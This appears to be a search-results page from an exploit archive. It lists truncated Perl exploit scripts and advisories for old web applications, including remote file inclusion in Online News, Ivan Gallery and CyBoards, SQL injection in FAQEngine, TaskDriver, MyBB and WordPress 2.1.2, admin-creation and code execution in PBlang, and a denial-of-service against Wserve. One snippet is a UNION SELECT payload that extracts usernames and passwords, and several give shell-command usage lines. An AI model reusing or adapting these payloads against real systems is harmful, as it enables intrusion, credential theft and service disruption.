923 matches found
Simple Accessible XHTML Online News v4.6 Remote File Include Exploit
""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...
faqengine-sql.txt
!/usr/bin/perl -w FAQEngine = v4.16.03 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code question.php: $sql = "select from ".$tableprefix."questions where publish=1 and questionref=$questionref order by enterdate...
TaskDriver 1.2 - Authentication Bypass / SQL Injection
!/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHERE username = '$POSTusername' AND password =...
TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= TutorialCMS alert'http://www.w4ck1ng.com' PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, password,0,0,0,0,0,0,0 FROM users WHERE id='1' / Subject To:...
phphtmllib-rfi.txt
!/usr/bin/perl use LWP::UserAgent; / + - AYYILDIZ TEAM // AYYILDIZ.ORG + + + - PHPHtmlLib mynetcom - - info: / Siz Yokken AYYILDIZ Vardi / + + + - tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG - - h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com ! + + usage: perl exploit....
PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion
PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...
MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard = 1.2.5 Remote SQL Injection Exploit \n"; print " Bug found and Exploit coded by 0x86 \n"; print "  ...
MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection
!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard \n"; print " Example: perl mybb.pl www.host.com /mybb/ -u 5 \n"; print " \n"; print " Options: \n"; print " -u User-ID, default: 1 \n"; print " -p Proxy support \n"; print " \n"; exit;...
ivan-rfi.txt
!/usr/bin/perl Ivan Gallery Script V.0.1 index.php Remote File Include Exploit Coded by SekoMirza & HypNosis Usage: exploit.pl target cmd shell shell variable Greetings: Sh4dowM4n , PhanTOmOrhcid , Starhack.0rg , CaRaMeL , MBrain! , and all Turkishz Hackerzz Vulnerable Code:...
mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion
mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code:...
Wserve HTTP Server 4.6 - Long Directory Name Denial of Service
Wserve HTTP Server 4.6 - Long Directory Name Denial of Service !perl Wserve HTTP Server 4.6 Version Long Directory Name Buffer Overflow - Denial Of Service Type : Buffer Overflow - Denial of Service Release Date : 2007-04-05 Product / Vendor : Wserve HTTP Server...
cyboards-rfi.txt
!/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: include"$scriptpath/include/defaultstyle.css"; Vendor:...
Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit
Exploit for unknown platform in category dos / poc ====================================================================== Wserve HTTP Server 4.6 Long Directory Name Denial of Service Exploit ====================================================================== !perl Wserve HTTP Server 4.6 Versio...
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Credits: [email protected] Thanks to ferruh [email protected] improving my exploitation skills website:www.notsosecure.com Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when...
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== Wordpress 2.1.2 xmlrpc Remote SQL Injection Exploit ===================================================== !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Wordpress version 2.1.2 is...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
PBlang 4.66z - Remote Code Execution
PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...
Mambo Module Flatmenu <= 1.07 Remote File Include Exploit
Exploit for unknown platform in category web applications ========================================================= Mambo Module Flatmenu "Team Hell Crew :: Mambo 4.5.1 Modules Flatmenu geometry '500x300' ; $mw-resizable0,0; $mw-Label-text = 'Mambo 4.5.1 Modules Flatmenu 'Verdana 7...
PBlang 4.66z - Remote Create Admin
!/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url = "http://".$host; print q PBLANG...
CcMail 1.0.1 (update.php functions_dir) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl CcMail 1.0 Remote File Inclusion Exploit Download Script http://www.cicoandcico.com/download/ccmail/ccmail1.0.1.tar.gz Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl perl cra.pl http://site.com/...